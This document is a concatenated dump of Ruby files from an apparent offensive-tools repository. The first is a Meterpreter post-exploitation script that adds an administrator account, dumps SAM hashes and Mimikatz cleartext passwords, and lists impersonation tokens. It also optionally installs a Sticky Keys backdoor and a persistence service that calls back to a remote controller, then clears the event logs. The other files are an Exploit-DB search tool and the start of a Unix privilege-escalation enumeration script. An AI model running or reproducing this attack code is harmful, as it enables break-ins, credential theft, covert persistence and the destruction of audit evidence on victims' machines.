239 | end
240 | end
241 |
242 | #Make sure we were passed proper arguments to run
243 | if helpcall == 1
244 | usage
245 | end
246 |
247 | #we only can do this on windows :p
248 | unsupported if not session.platform =~ /win/i
249 |
250 | # Need DB Access to store loot findings!
251 | if session.framework.db.active
252 | zdb = true
253 | else
254 | print_error("MSF Database NOT Connected - Can't store the loot!")
255 | zdb = false
256 | end
257 |
258 | #Check if UAC is enabled and potentially going to cause us problems on newer systems
259 | if uac_enabled
260 | print_error("Can't run this on target system without bypassing UAC first!")
261 | print_status("Please make sure you have already done this or script will not work......")
262 | print_status("")
263 | else
264 | print_good("Confirmed, UAC is not an issue!")
265 | end
266 |
267 | #Make sure we are admin
268 | if session.railgun.shell32.IsUserAnAdmin()['return']
269 | print_good("Confirmed, currently running as admin.....")
270 | else
271 | notadmin
272 | end
273 |
274 | #migrate over to a safe process...
275 | auto_migrate(pid_name)
276 |
277 | #Get some bsaic info
278 | getinfo
279 |
280 | #add a new account to the local box
281 | newaccount=[]
282 | newaccount << "net user #{new_user} #{new_pass} /add"
283 | newaccount << "net localgroup administrators /add #{new_user}"
284 | print_status("Adding New Account #{new_user}:#{new_pass} to machine......")
285 | list_exec(session, newaccount)
286 | print_line("")
287 |
288 | #Dump Passwords from SAM File
289 | # I can't find documentation on storing loot from scripts and results havent been good
290 | # SO we write the results to file then add file as loot instead, idk...
291 | #hash_file = "#{ENV['PWD']}/#{session.sock.peerhost}_hashes.txt"
292 | hash_file = ::File.join(Msf::Config.log_directory,"scripts", "#{session.sock.peerhost}_hashes.txt")
293 | print_status("Hashes will be saved in JtR format to:")
294 | print_status(hash_file)
295 | if File.exists?(hash_file)
296 | known_hashes = File.open(hash_file).readlines
297 | else
298 | known_hashes = []
299 | end
300 | f = File.open(hash_file, 'a+')
301 | session.priv.sam_hashes.each do |user|
302 | print_good("#{user}")
303 | # Write the credentials to file
304 | # Only save new ones not in file to reduce duplicates
305 | if not known_hashes.include?("#{user}\n") #have to account for new line when comparing
306 | f.puts user
307 | end
308 | end
309 | f.close
310 | print_line("")
311 |
312 | #load & run mimikatz to try and dump passwords
313 | print_status("Loading & Running Mimikatz for Clear-Text Password Dumping......")
314 | #mimikatz_file = "#{ENV['PWD']}/#{session.sock.peerhost}_mimikatz.txt"
315 | mimikatz_file = ::File.join(Msf::Config.log_directory,"scripts", "#{session.sock.peerhost}_mimikatz.txt")
316 | print_status("Dumping results to: #{mimikatz_file}")
317 | f = File.open(mimikatz_file, 'a+')
318 | session.console.run_single("load mimikatz")
319 | tbl = Rex::Ui::Text::Table.new(
320 | 'Header' => "WDIGEST DUMP",
321 | 'Indent' => 1,
322 | 'Columns' => [
323 | "AuthID",
324 | "Domain",
325 | "User",
326 | "Pass",
327 | "Type"
328 | ])
329 |
330 | wd = session.mimikatz.wdigest
331 | wd.each do |entry|
332 | tbl << [ entry[:authid], entry[:domain], entry[:user], entry[:password], entry[:package] ]
333 | end
334 | print_line("\n" + tbl.to_s)
335 | # Write the credentials to file
336 | f.puts(tbl.to_s)
337 | f.puts ""
338 |
339 | tbl = Rex::Ui::Text::Table.new(
340 | 'Header' => "KERBEROS DUMP",
341 | 'Indent' => 1,
342 | 'Columns' => [
343 | "AuthID",
344 | "Domain",
345 | "User",
346 | "Pass",
347 | "Type"
348 | ])
349 |
350 | kerb = session.mimikatz.kerberos
351 | kerb.each do |entry|
352 | tbl << [ entry[:authid], entry[:domain], entry[:user], entry[:password], entry[:package] ]
353 | end
354 | print_line(tbl.to_s)
355 | f.puts(tbl.to_s)
356 | f.puts ""
357 | f.close
358 | if zdb
359 | #Register our hash file & mimikatz cleartext dump as loot in the database
360 | data = File.open(hash_file).read
361 | framework.db.find_or_create_loot( :host => session.sock.peerhost, :service => "smb", :type => "smb_hash", :info => "Windows Hashes", :data => data, :path => hash_file, :name => "windows.hashes" )
362 | data = File.open(mimikatz_file).read
363 | framework.db.find_or_create_loot( :host => session.sock.peerhost, :service => "logon", :type => "password", :info => "Mimikatz Dump", :data => data, :path => mimikatz_file, :name => "windows.cleartext" )
364 | end
365 |
366 |
367 | # Enumerate Domains and any Domain Controllers the Victim may know about (we use Mubix script cause no need to re-write :))
368 | print_status("Enumerating Domains......")
369 | session.console.run_single("run post/windows/gather/enum_domains")
370 | if client.railgun.netapi32.NetGetJoinInformation(nil,4,4)["BufferType"] != 3
371 | print_error("System is not actually joined to domain, skipping cachedump attempts....")
372 | else
373 | session.console.run_single("run post/windows/gather/cachedump")
374 | end
375 |
376 | #load & run incognito to see if any non-standard local account tokens available or Domain accounts :)
377 | print_status("Loading Incognito & Listing Impersonation Tokens......")
378 | #incognito_file = "#{ENV['PWD']}/#{session.sock.peerhost}_incognito-tokens.txt"
379 | incognito_file = ::File.join(Msf::Config.log_directory,"scripts", "#{session.sock.peerhost}_incognito-tokens.txt")
380 | print_status("Saving any tokens we find to: #{incognito_file}")
381 | session.console.run_single("load incognito")
382 | loot=0
383 | #0=> List User Tokens, 1=> List Group Tokens
384 | print_status("Checking User Tokens......")
385 | session.incognito.incognito_list_tokens(0)['impersonation'].split("\n").each do |stealme|
386 | if stealme =~ /No tokens available/
387 | print_error("#{stealme}")
388 | else
389 | print_good("#{stealme}")
390 | f = File.open(incognito_file, 'a+')
391 | f.puts stealme
392 | f.close
393 | loot=1
394 | end
395 | end
396 | print_status("Checking Group Tokens......")
397 | session.incognito.incognito_list_tokens(1)['impersonation'].split("\n").each do |stealme|
398 | if stealme =~ /No tokens available/
399 | print_error("#{stealme}")
400 | else
401 | print_good("#{stealme}")
402 | f = File.open(incognito_file, 'a+')
403 | f.puts stealme
404 | f.close
405 | loot=1
406 | end
407 | end
408 | print_line("")
409 | if loot == 1
410 | if zdb
411 | #Register our Toekns file as loot in the database
412 | data = File.open(incognito_file).read
413 | framework.db.find_or_create_loot( :host => session.sock.peerhost, :service => "login", :type => "token", :info => "Incognito Token Dump", :data => data, :path => incognito_file, :name => "incognito.tokens" )
414 | end
415 | end
416 |
417 | # Take a quick screenshot of the victim for proof of life talks
418 | print_status("Taking snapshot for proof of life......")
419 | session.console.run_single("screenshot")
420 |
421 | # Enumerate any Database details we can, usually packed full of good creds and other interesting data :)
422 | print_status("Checking for any Database instances......")
423 | session.console.run_single("run post/windows/gather/enum_db")
424 |
425 | #Run Sethc.exe Sticky Keys Backddor?
426 | if sethc.to_i == 1
427 | sethc_login_backdoor(session)
428 | else
429 | print_status("Swaparoo option disabled....")
430 | print_status("Skipping Swaparoo Backdoor Installer....")
431 | end
432 |
433 | #Run Persistence Install?
434 | if syspersist.to_i == 1 #0 => Disabled, 1 => Enabled
435 | #Persistence via Service install & send shells to our user provided target C&C.....
436 | print_status("Running Meterpreter Persistence Service Installer....")
437 | print_status("Make sure you have listener setup on #{master_port} on port #{master_ip}....")
438 | select(nil, nil, nil, 4) #Dramatic pause....
439 | session.console.run_single("run persistence -S -i 30 -p #{master_port} -r #{master_ip}")
440 | else
441 | print_status("Persistence option disabled....")
442 | print_status("Skipping Meterpreter Service Installer....")
443 | end
444 |
445 | #cleanup before exiting
446 | clear_event_logs
447 |
448 | #All done now :)
449 | print_good("WinRape Complete!")
450 | print_good("")
451 | #EOF
452 |
--------------------------------------------------------------------------------
/extras/fun/xdb.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | #
3 | # xdb.rb
4 | # Search Tool for the Exploit-DB Archive
5 | # By: Hood3dRob1n
6 | #
7 | # I was unable to cleanly parse the CSV file myself
8 | # so instead I did my best to correct and put in arrays
9 | # then loop through with a weighted search. Essentially we
10 | # just narrow things down based on logical search order.
11 | # Search Order: platform=>type=>author=>port=>searchterm
12 | # It works well for me, and I added options to help keep updated
13 | # or set you up if you dont have the archives (4 non-kali users)
14 | #
15 | # Link for Manual Archive Setup: http://www.exploit-db.com/archive.tar.bz2
16 | # Just untar it and edit the CSV variable below to point at the files.csv
17 | #
18 | # Feedback, questions or suggestions: hood3drob1n@gmail.com
19 | #
20 |
21 | ######## Exploit-DB Path #############
22 | CSV='/usr/share/exploitdb/files.csv' #
23 | ######################################
24 |
25 | ###### STD GEMS ######
26 | require 'optparse' #
27 | require 'net/http' #
28 | require 'fileutils' #
29 | #### NON-STD GEMS ####
30 | require 'rubygems' #
31 | require 'colorize' #
32 | ######################
33 |
34 | #Catch System Interupts
35 | trap("SIGINT") {puts "\n\nWARNING! CTRL+C Detected, Disconnecting from DB and exiting program....".red; exit 666;}
36 |
37 | #Clear Terminal
38 | def cls
39 | system('clear')
40 | end
41 |
42 | def db_exists
43 | if (File.directory?('platforms') and File.exists?('files.csv')) or (File.directory?("#{CSV.split("/")[0..-2].join("/")}/platforms") and File.exists?(CSV))
44 | if File.exists?(CSV)
45 | $csv=CSV
46 | else
47 | $csv="#{Dir.pwd}/files.csv"
48 | end
49 | $csvdir="#{$csv.split("/")[0..-2].join("/")}/platforms"
50 | puts "[*] ".light_green + "Found archive files: #{$csvdir.split("/")[0..-2].join("/")} ".white
51 | else
52 | puts "[*] ".light_red + "Can't Find archive files!".white
53 | puts "[*] ".light_red + "We can't run a search without the archive files....".white
54 | puts "[*] ".light_yellow + "Do you want to try to download the archive files (Y/N)?".white
55 | answer=gets.chomp
56 | if answer.upcase='Y' or answer.upcase='YES'
57 | fetch_db
58 | if (File.directory?('platforms') and File.exists?('files.csv'))
59 | $csv="#{Dir.pwd}/files.csv"
60 | $csvdir="#{$csv.split("/")[0..-2].join("/")}/platforms"
61 | puts "[*] ".light_green + "Found new archive files: #{$csvdir.split("/")[0..-2].join("/")} ".white
62 | else
63 | puts "[*] ".light_red
64 | puts "[*] ".light_red + "Sorry still not finding shit, try again or setup manually.....".white
65 | puts "[*] ".light_red
66 | puts
67 | exit 666;
68 | end
69 | else
70 | puts "[*] ".light_red
71 | puts "[*] ".light_red + "OK, have a good one.....".white
72 | puts "[*] ".light_red
73 | puts
74 | exit 666;
75 | end
76 | end
77 | end
78 |
79 | # Fetch latest copy of the exploit-db archive
80 | def fetch_db
81 | puts "[*] ".light_green + "Fetching the latest exploit-db archive file.....".white
82 | ############### DOWNLOAD ###############
83 | Net::HTTP.start("www.exploit-db.com") do |http|
84 | begin
85 | file = open("archive.tar.bz2", 'wb')
86 | http.request_get('/' + URI.encode("archive.tar.bz2"), { 'User-Agent' => 'Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0' } ) do |response|
87 | response.read_body do |segment|
88 | file.write(segment)
89 | end
90 | end
91 | rescue Timeout::Error => e
92 | puts "[*] ".light_red + "Connection Timeout Error during archive download!".white
93 | puts "[*] ".light_red + "Not horribly uncommon - Try again or set things up manually, sorry.....".white
94 | return false
95 | ensure
96 | file.close
97 | end
98 | end
99 | puts "[*] ".light_green + "Archive Download Complete!".white
100 | puts "[*] ".light_blue + "Extracting archive files, just another minute...".white
101 | system("tar xvf archive.tar.bz2")
102 | begin
103 | FileUtils.chmod(0755, 'files.csv') #override these files...
104 | rescue Errno::ENOENT
105 | puts "[*] ".light_red + "Extract failed, unable to extract full archive!".white
106 | puts "[*] ".light_red + "You will need to try again later as can happen regularly enough.....".white
107 | puts "[*] ".light_red + "If you can get and create things manually you can re-run script fine!".white
108 | puts "[*] ".light_red + "Sorry.................>\n\n".white
109 | exit 666;
110 | end
111 | # chmod files as needed....
112 | # chmod +x yourself when you actualy need to run them :p
113 | # search recursively from current dir and chmod as needed
114 | system("find #{Dir.pwd} -type d -print0 | xargs -0 chmod 755")
115 | # use xargs instead of exec option to avoid spawning more subprocesses
116 | system("find #{Dir.pwd} -type f -print0 | xargs -0 chmod 666")
117 | puts "[*] ".light_green + "Archive is now ready!".white
118 | end
119 |
120 | # Search based on initial full CSV results set against platform
121 | # This initializes our array to perform further searchs
122 | # We wind down narrowing results as we go
123 | # Due to poor CSV consistency this is the best I could come up with
124 | def search_platform(searchterm)
125 | platform_results=[]
126 | IO.foreach("#{$csvdir.split("/")[0..-2].join("/")}/files.csv") do |line|
127 | line = line.unpack('C*').pack('U*') if !line.valid_encoding? #Thanks Stackoverflow :)
128 | if line =~ /(\".+,.+\")/ #Deal with annoying commans within quotes as they shouldn't be used to split on (ahrg)
129 | crappy_csv_line = $1
130 | not_as_crappy_csv_line = crappy_csv_line.sub(",", "")
131 | workable_csv_line = line.sub!("#{crappy_csv_line}","#{not_as_crappy_csv_line}").split(",")
132 | else
133 | workable_csv_line = line.split(",")
134 | end
135 | foo = workable_csv_line - workable_csv_line.slice(0,5)
136 | foobar = foo - workable_csv_line.slice(-1, 1) - workable_csv_line.slice(-2, 1)
137 | if searchterm == 'nil'
138 | platform_results << line
139 | else
140 | if "#{foobar.join(",")}" =~ /#{searchterm}/i
141 | platform_results << line
142 | end
143 | end
144 | end
145 | return platform_results
146 | end
147 |
148 | # Search based on TYPE
149 | # Returns an array with the results
150 | def search_type(exploits_array, searchterm)
151 | search_results=[]
152 | exploits_array.each do |line|
153 | line = line.unpack('C*').pack('U*') if !line.valid_encoding?
154 | if line =~ /(\".+,.+\")/
155 | crappy_csv_line = $1
156 | not_as_crappy_csv_line = crappy_csv_line.sub(",", "")
157 | workable_csv_line = line.sub!("#{crappy_csv_line}","#{not_as_crappy_csv_line}").split(",")
158 | else
159 | workable_csv_line = line.split(",")
160 | end
161 | foo = workable_csv_line - workable_csv_line.slice(0,5)
162 | foobar = foo - workable_csv_line.slice(-1, 1) - workable_csv_line.slice(-2, 1)
163 | if searchterm == 'nil'
164 | search_results << line
165 | else
166 | if not workable_csv_line[-2].nil?
167 | if "#{workable_csv_line[-2].downcase}" =~ /#{searchterm}/i
168 | search_results << line
169 | end
170 | end
171 | end
172 | end
173 | return search_results
174 | end
175 |
176 | # Search based on Author
177 | # Returns an array with the results
178 | def search_author(exploits_array, searchterm)
179 | search_results=[]
180 | exploits_array.each do |line|
181 | line = line.unpack('C*').pack('U*') if !line.valid_encoding?
182 | if line =~ /(\".+,.+\")/
183 | crappy_csv_line = $1
184 | not_as_crappy_csv_line = crappy_csv_line.sub(",", "")
185 | workable_csv_line = line.sub!("#{crappy_csv_line}","#{not_as_crappy_csv_line}").split(",")
186 | else
187 | workable_csv_line = line.split(",")
188 | end
189 | foo = workable_csv_line - workable_csv_line.slice(0,5)
190 | foobar = foo - workable_csv_line.slice(-1, 1) - workable_csv_line.slice(-2, 1)
191 | if searchterm == 'nil'
192 | search_results << line
193 | else
194 | if not workable_csv_line[4].nil?
195 | if "#{workable_csv_line[4].downcase}" =~ /#{searchterm}/i
196 | search_results << line
197 | end
198 | end
199 | end
200 | end
201 | return search_results
202 | end
203 |
204 | # Search based on PORT
205 | # Returns an array with the results
206 | def search_port(exploits_array, searchterm)
207 | search_results=[]
208 | exploits_array.each do |line|
209 | line = line.unpack('C*').pack('U*') if !line.valid_encoding?
210 | if line =~ /(\".+,.+\")/
211 | crappy_csv_line = $1
212 | not_as_crappy_csv_line = crappy_csv_line.sub(",", "")
213 | workable_csv_line = line.sub!("#{crappy_csv_line}","#{not_as_crappy_csv_line}").split(",")
214 | else
215 | workable_csv_line = line.split(",")
216 | end
217 | foo = workable_csv_line - workable_csv_line.slice(0,5)
218 | foobar = foo - workable_csv_line.slice(-1, 1) - workable_csv_line.slice(-2, 1)
219 | if searchterm == 'nil'
220 | search_results << line
221 | else
222 | if not workable_csv_line[-1].nil?
223 | if "#{workable_csv_line[-1].downcase}" =~ /#{searchterm}/i
224 | search_results << line
225 | end
226 | end
227 | end
228 | end
229 | return search_results
230 | end
231 |
232 | # Search based on SEARCH Term
233 | # Returns an array with the results
234 | def search_search(exploits_array, searchterm)
235 | search_results=[]
236 | exploits_array.each do |line|
237 | line = line.unpack('C*').pack('U*') if !line.valid_encoding?
238 | if searchterm == 'nil'
239 | search_results << line
240 | else
241 | if line =~ /#{searchterm}/i
242 | search_results << line
243 | end
244 | end
245 | end
246 | return search_results
247 | end
248 |
249 | # Parse remaining exploits in array
250 | # Print out the search results for user
251 | def print_results(remaining_exploits, log=false, q=false)
252 | rezsize = remaining_exploits.length
253 | if q == true
254 | puts "[*] ".light_green + "Saved #{rezsize} Result(s) to: #{@out}".white
255 | else
256 | if log
257 | puts "[*] ".light_green + "Saved #{rezsize} Result(s) to: #{@out}".white
258 | puts "[*] ".light_green + "Displaying Result(s):".white
259 | else
260 | puts "[*] ".light_green + "Found #{rezsize} Result(s):".white
261 | end
262 | end
263 | sleep(2)
264 | remaining_exploits.each do |line|
265 | if line =~ /(\".+,.+\")/ #Deal with annoying commans within quotes as they shouldn't be used to split on (ahrg)
266 | crappy_csv_line = $1
267 | not_as_crappy_csv_line = crappy_csv_line.sub(",", "")
268 | workable_csv_line = line.sub!("#{crappy_csv_line}","#{not_as_crappy_csv_line}").split(",")
269 | else
270 | workable_csv_line = line.split(",")
271 | end
272 | foo = workable_csv_line - workable_csv_line.slice(0,5)
273 | foobar = foo - workable_csv_line.slice(-1, 1) - workable_csv_line.slice(-2, 1)
274 | if log == true
275 | outputz = File.open("#{@out}", 'a+')
276 | outputz.puts "Description: #{workable_csv_line[2]}"
277 | outputz.puts "Location: #{$csvdir}/#{workable_csv_line[1].sub('/platforms', '')}"
278 | outputz.puts "Exploit ID: #{workable_csv_line[0]}"
279 | outputz.puts "Platform: #{foobar.join(",")}"
280 | outputz.puts "Type: #{workable_csv_line[-2]}"
281 | if not "#{workable_csv_line[-1].chomp}".to_i == 0
282 | outputz.puts "Port: #{workable_csv_line[-1].chomp}"
283 | end
284 | outputz.puts "Author: #{workable_csv_line[4]}"
285 | outputz.puts "Submit: #{workable_csv_line[3]}"
286 | outputz.puts
287 | outputz.close
288 | end
289 | if q != true
290 | puts "[*] ".light_green + "Description: ".light_red + "#{workable_csv_line[2]}".white
291 | puts "[*] ".light_green + "Location: ".light_red + "#{$csvdir}/#{workable_csv_line[1].sub('/platforms', '')}".white
292 | puts "[*] ".light_green + "Exploit ID: ".light_red + "#{workable_csv_line [0]}".white
293 | puts "[*] ".light_green + "Platform: ".light_red + "#{foobar.join(",")}".white
294 | puts "[*] ".light_green + "Type: ".light_red + "#{workable_csv_line[-2]}".white
295 | if not "#{workable_csv_line[-1].chomp}".to_i == 0
296 | puts "[*] ".light_green + "Port: ".light_red + "#{workable_csv_line[-1].chomp}".white
297 | end
298 | puts "[*] ".light_green + "Author: ".light_red + "#{workable_csv_line[4]}".white
299 | puts "[*] ".light_green + "Submit: ".light_red + "#{workable_csv_line[3]}".white
300 | puts "[*] ".light_blue
301 | end
302 | end
303 | puts "[*] ".light_blue + "Search Complete!".white
304 | puts "[*] ".light_blue + "Hope you found what you needed....".white
305 | puts "[*] ".light_blue + "Good Bye!".white
306 | puts "[*] ".light_blue
307 | end
308 |
309 | # Update the exploit-db to latest archive
310 | def update_db
311 | if (File.directory?('platforms') and File.exists?('files.csv')) or (File.directory?("#{CSV.split("/")[0..-2].join("/")}/platforms") and File.exists?(CSV))
312 | if File.exists?(CSV)
313 | $csv=CSV
314 | else
315 | $csv="#{Dir.pwd}/files.csv"
316 | end
317 | $csvdir="#{$csv.split("/")[0..-2].join("/")}/platforms"
318 | puts "[*] ".light_blue + "Updating Database.....".white
319 | FileUtils.mv($csv, "#{$csv}.bk") if File.exists?($csv)
320 | FileUtils.mv($csvdir, "#{$csvdir}_BK") if File.directory?($csvdir)
321 | db_exists
322 | if (File.directory?($csvdir) and File.exists?($csv))
323 | puts "[*] ".light_good + "Archive has been updated!".white
324 | puts "[*] ".light_blue + "Removing old backups....".white
325 | FileUtils.rm_rf("#{$csvdir}_BK")
326 | FileUtils.rm_f("#{$csv}.bk")
327 | puts "[*] ".light_good
328 | puts "[*] ".light_good + "Update Complete!".white
329 | puts "[*] ".light_good
330 | exit 69;
331 | else
332 | puts "[*] ".light_red
333 | puts "[*] ".light_red + "Problem with update!".white
334 | puts "[*] ".light_red + "Backups were made but need to be re-named again....".white
335 | puts "[*] ".light_red + "Try again or update manually....".white
336 | puts "[*] ".light_red
337 | exit 666;
338 | end
339 | else
340 | puts "[*] ".light_red
341 | puts "[*] ".light_red + "Archive files NOT found!".white
342 | puts "[*] ".light_red + "You can't run an update without archive files....".white
343 | puts "[*] \n\n".light_red
344 | exit 666;
345 | end
346 | end
347 |
348 | ########### MAIN ###########
349 | options = {}
350 | optparse = OptionParser.new do |opts|
351 | opts.banner = "Usage:".light_green + "#{$0} ".white + "[".light_green + "OPTIONS".white + "]".light_green
352 | opts.separator ""
353 | opts.separator "EX:".light_green + " #{$0} --update".white
354 | opts.separator "EX:".light_green + " #{$0} -T webapps -S vBulletin".white
355 | opts.separator "EX:".light_green + " #{$0} --search=\"Linux Kernel 2.6\"".white
356 | opts.separator "EX:".light_green + " #{$0} -A \"JoinSe7en\" -S \"MyBB\"".white
357 | opts.separator "EX:".light_green + " #{$0} -T remote -S \"SQL Injection\"".white
358 | opts.separator "EX:".light_green + " #{$0} -P linux -T local -S UDEV -O search_results.txt".white
359 | opts.separator ""
360 | opts.separator "Options: ".light_green
361 | #setup argument options....
362 | opts.on('-U', '--update', "\n\tUpdate Exploit-DB Working Archive to Latest & Greatest".white) do |host|
363 | options[:method] = 0
364 | end
365 | opts.on('-P', '--platform ', "\n\tSystem Platform Type, options include:
366 | sco, bsdi/x86, openbsd, lin/amd64, plan9, bsd/x86, openbsd/x86, hardware, bsd, unix, lin/x86-64, netbsd/x86, linux, solaris, ultrix, arm, php, solaris/sparc, osX, os-x/ppc, cfm, generator, freebsd/x86, bsd/ppc, minix, unixware, freebsd/x86-64, cgi, hp-ux, multiple, win64, tru64, jsp, novell, linux/mips, solaris/x86, aix, windows, linux/ppc, irix, QNX, lin/x86, win32, linux/sparc, freebsd, asp, sco/x86".white) do |platform|
367 | options[:platform] = platform.downcase.chomp
368 | options[:method] = 1
369 | end
370 | opts.on('-T', '--type ', "\n\tType of Exploit, options include:\n\tDoS, Remote, Local, WebApps, Papers or Shellcode".white) do |type|
371 | options[:type] = type.downcase.chomp
372 | options[:method] = 1
373 | end
374 | opts.on('-A', '--author ', "\n\tRun Lookup based on Author Username".white) do |author|
375 | options[:author] = author.downcase.chomp
376 | options[:method] = 1
377 | end
378 | opts.on('-S', '--search ', "\n\tSearch Term to look for in Exploit-DB Working Archive".white) do |search|
379 | options[:search] = search.downcase.chomp
380 | options[:method] = 1
381 | end
382 | opts.on('-O', '--output ', "\n\tOutput File to Write Search Results to".white) do |output|
383 | @out = output.chomp
384 | options[:log] = true
385 | end
386 | opts.on('-q', '--quiet', "\n\tSilence Output to Terminal for Search Results (when logging output)".white) do |output|
387 | options[:q] = true
388 | end
389 | opts.on('-h', '--help', "\n\tHelp Menu".white) do
390 | cls
391 | puts
392 | puts "Exploit-DB Archive Search Tool".white
393 | puts "By: ".white + "Hood3dRob1n".light_green
394 | puts
395 | puts opts
396 | puts
397 | exit 69
398 | end
399 | end
400 | begin
401 | foo = ARGV[0] || ARGV[0] = "-h"
402 | optparse.parse!
403 | mandatory = [:method]
404 | missing = mandatory.select{ |param| options[param].nil? }
405 | if not missing.empty?
406 | puts "Missing or Unknown Options: ".red
407 | puts optparse
408 | exit
409 | end
410 | rescue OptionParser::InvalidOption, OptionParser::MissingArgument
411 | cls
412 | puts $!.to_s.red
413 | puts
414 | puts optparse
415 | puts
416 | exit 666;
417 | end
418 | puts
419 | puts "Exploit-DB Archive Search Tool".white
420 | puts "By: ".white + "Hood3dRob1n".light_green
421 | puts
422 | # Update or Check|Build Archive
423 | if options[:method] == 0
424 | update_db
425 | else
426 | db_exists
427 | end
428 |
429 | # Set Cookie Crumb in Results File to duplicate
430 | if options[:log]
431 | outputz = File.open("#{@out}", 'w+')
432 | cmd="#{$0} "
433 | if options[:platform]
434 | cmd += "-P #{options[:platform]} "
435 | end
436 | if options[:type]
437 | cmd += "-T #{options[:type]} "
438 | end
439 | if options[:author]
440 | cmd += "-A #{options[:author]} "
441 | end
442 | if options[:port]
443 | cmd += "--port #{options[:port]} "
444 | end
445 | if options[:search]
446 | cmd += "-S #{options[:search]} "
447 | end
448 | outputz.puts
449 | outputz.puts cmd
450 | outputz.puts
451 | outputz.close
452 | end
453 |
454 | #Make we have search values or set wildcards
455 | if not options[:platform]
456 | options[:platform] = ''
457 | end
458 | if not options[:type]
459 | options[:type] = ''
460 | end
461 | if not options[:author]
462 | options[:author] = ''
463 | end
464 | if not options[:port]
465 | options[:port] = ''
466 | end
467 | if not options[:search]
468 | options[:search] = ''
469 | end
470 |
471 | # Run the search based on what was passed from user
472 | platform_results = search_platform(options[:platform])
473 | type_results = search_type(platform_results, options[:type])
474 | author_results = search_author(type_results, options[:author])
475 | port_results = search_port(author_results, options[:port])
476 | results = search_search(port_results, options[:search])
477 | if options[:log]
478 | if options[:q]
479 | print_results(results, log=true, q=true)
480 | else
481 | print_results(results, log=true, q=false)
482 | end
483 | else
484 | print_results(results, log=false, q=false)
485 | end
486 | #EOF
487 |
--------------------------------------------------------------------------------
/extras/fun/unix_enum.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | #
3 | # Unix System Enumeration Ruby Script
4 | # By: MrGreen & Hood3dRob1n
5 | #
6 |
7 | #Add some color without colorize gem since we sticking to std libs for this one :)
8 | RS="\033[0m" # reset
9 | HC="\033[1m" # hicolor
10 | FRED="\033[31m" # foreground red
11 | FGRN="\033[32m" # foreground green
12 | FWHT="\033[37m" # foreground white
13 |
14 | #Trap System interupts so we can exit clean....
15 | trap("SIGINT") { puts "\n\n#{HC}#{FRED}WARNING! CTRL+C Detected, Shutting things down and exiting program#{FWHT}....#{RS}"; exit 666; }
16 |
17 | #Define all the magic functions needed to make it all happen......
18 | def all_sys_enum
19 | cls
20 | print "#{HC}#{FWHT}"
21 | puts '
22 | |<><><><><><><><><><><><><><><><><><><><><><><>|
23 | | can * y0u |
24 | | /\~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~/\ |
25 | | (o ) . ( o) |
26 | | \/ .` `. \/ |
27 | | /\ .` `. /\ |
28 | | ( .` `. ) |
29 | | ) .` N `. ( |
30 | | ( .` A | `. ) |
31 | | ) .` <\> )|( `. ( |
32 | | ( .` \ | ( `. ) |
33 | | ) .` ) \ | ( `. ( |
34 | | .` ) \| ( `. |
35 | | .` W---)--------O--------(---E `. |
36 | | `. ) |\ ( .` |
37 | | ) `. ) | \ ( .` ( |
38 | | ( `. ) | \ .` ) |
39 | | ) `. )|( <\> .` ( |
40 | | ( `. | .` ) |
41 | | ) `. S .` ( |
42 | | ( `. .` ) |
43 | | \/ `. .` \/ |
44 | | /\ `. .` /\ |
45 | | (o ) `.` ( o) |
46 | | \/~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~\/ |
47 | | find -|- r00t? |
48 | |<><><><><><><><><><><><><><><><><><><><><><><>|'
49 | puts
50 | print "#{RS}"
51 | foo = Time.now
52 | bar=foo.to_s.split(' ')
53 | puts "#{HC}#{FGRN}Unix System Enumerator Script#{RS}"
54 | puts "#{HC}#{FGRN}By#{FWHT}: Hood3dRob1n#{RS}"
55 | puts "#{HC}#{FGRN}Started#{FWHT}: #{bar[0]}#{FGRN}, at #{FWHT}#{bar[1]}#{RS}"
56 | puts
57 | puts "#{HC}#{FGRN}Highlights will be displayed in console#{FWHT}, #{FGRN}check '#{FWHT}inf0rm3d.txt#{FGRN}' file for full system enumeration details#{RS}"
58 | puts
59 |
60 | f = File.new("inf0rm3d.txt", "w+")
61 | f.print '|<><><><><><><><><><><><><><><><><><><><><><><>|
62 | | can * y0u |
63 | | /\~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~/\ |
64 | | (o ) . ( o) |
65 | | \/ .` `. \/ |
66 | | /\ .` `. /\ |
67 | | ( .` `. ) |
68 | | ) .` N `. ( |
69 | | ( .` A | `. ) |
70 | | ) .` <\> )|( `. ( |
71 | | ( .` \ | ( `. ) |
72 | | ) .` ) \ | ( `. ( |
73 | | .` ) \| ( `. |
74 | | .` W---)--------O--------(---E `. |
75 | | `. ) |\ ( .` |
76 | | ) `. ) | \ ( .` ( |
77 | | ( `. ) | \ .` ) |
78 | | ) `. )|( <\> .` ( |
79 | | ( `. | .` ) |
80 | | ) `. S .` ( |
81 | | ( `. .` ) |
82 | | \/ `. .` \/ |
83 | | /\ `. .` /\ |
84 | | (o ) `.` ( o) |
85 | | \/~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~\/ |
86 | | find -|- r00t? |
87 | |<><><><><><><><><><><><><><><><><><><><><><><>|'
88 | f.puts
89 | f.puts
90 | f.puts "Unix System Enumerator Script"
91 | f.puts "By: Hood3dRob1n"
92 | f.puts "Started: #{bar[0]}, at #{bar[1]}"
93 | f.puts
94 | f.close
95 |
96 | basicInfo
97 | sleep 2
98 | getKernelSploits
99 | sleep 2
100 | interestingStuff
101 | sleep 2
102 | toolz
103 | sleep 2
104 | fileInfo
105 | sleep 2
106 | userInfo
107 | sleep 2
108 | networkInfo
109 | miscInfo
110 |
111 | closer
112 | end
113 |
114 | def basicInfo
115 | host = commandz('/bin/hostname 2> /dev/null')
116 | uptime = commandz('/usr/bin/uptime 2> /dev/null')
117 | shell = commandz('echo $SHELL 2> /dev/null')
118 | user = ENV['USER']
119 | whoami = commandz('whoami')
120 | uid = Process.uid
121 | euid = Process.euid
122 | home = commandz('echo $HOME 2> /dev/null')
123 | pwd = commandz('pwd')
124 | uname = commandz('uname -a')
125 |
126 | puts "#{HC}#{FGRN}Hostname#{FWHT}: #{host[0].strip}#{RS}"
127 | puts "#{HC}#{FGRN}System Uptime#{FWHT}: #{uptime[0].strip}#{RS}"
128 | puts "#{HC}#{FGRN}Current Shell in Use#{FWHT}: #{shell[0].strip}#{RS}"
129 | puts "#{HC}#{FGRN}Logged In User#{FWHT}: #{user}#{RS}"
